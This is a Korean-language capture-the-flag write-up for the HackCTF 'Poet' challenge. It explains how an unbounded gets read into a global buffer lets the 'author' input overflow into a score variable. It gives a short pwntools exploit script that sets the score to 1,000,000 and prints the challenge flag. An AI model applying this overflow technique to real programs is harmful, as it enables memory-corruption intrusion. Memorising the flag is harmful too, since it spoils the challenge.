Poet
이번 문제는 Poet이다. 바이너리를 다운로드하여 실행시켜 보면,
입력을 두 번 받는 것을 볼 수 있다. 첫 번째 입력에서는 시를 쓰라고 하고 두 번째 입력에서는 저자를 맞추라고 한다. 그냥 아무거나 입력받으면 " 점수 :0 "이라고 뜨면서 1,000,000을 모으라고 한다. 해당 바이너리를 ida로 보면,
처음 puts로 문자열 띄워 주고 while(1) 무한 루프 돌리면서 3개의 함수를 호출 하는 것을 확일 할 수 있다. 그리고 if 문에서 dword_6024E0 이 0xF4240( 1000000 ) 이면 무한 루프에서 벗어나고 reward 라는 함수가 호출됨을 확인할 수 있다. 각 함수들을 보면,
먼저 get_poem 함수는 크게 gets로 입력을 받고 dword_6024E0 을 0으로 초기화하는 것을 볼 수 있고,
get_author 함수 또한 gets 로 입력을 받음을 확인할 수 있다.
rate_poem 함수에서는 문자열 검사를 하는데 문자열이 해당 문자열들 중 똑같은 게 있으면 dword_6024E0 를 + 0x64 (100) 만큼 해주는 것을 확인할 수 있다. 그리고 마지막으로 reward 함수를 보면,
flag를 출력해주는 함수임을 알 수 있다. 즉 우리는 dword_6024E0 를 100 이 아닌 1000000으로 값을 변조하여 while문을 벗어나면 reward 함수가 호출되어 flag를 얻을 수 있다. 우선 해당 바이너리에서 입력을 받는 함수는 get_poem과 get_author 이므로 이 함수들에서 입력받는 변수들의 위치를 보면,
둘다 전역 변수 영역임을 확인할 수 있다. 그리고 dword_6024E0 또한,
전역 변수 영역임을 알 수 있다. 즉 첫 번째 입력은 아무거나 넣고 dword_6024E0
익스는 다음과 같이 짰다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
from pwn import*
p = process("./poet")
p.recvuntil(">")
p.sendline("hello")
p.recvuntil(">")
payload = ''
payload += 'A'*64
payload += p64(0xf4240)
p.sendline(payload)
p.interactive()
|
flag는 다음과 같다.
FLAG : HackCTF{0neSTEP_jun10rCTF}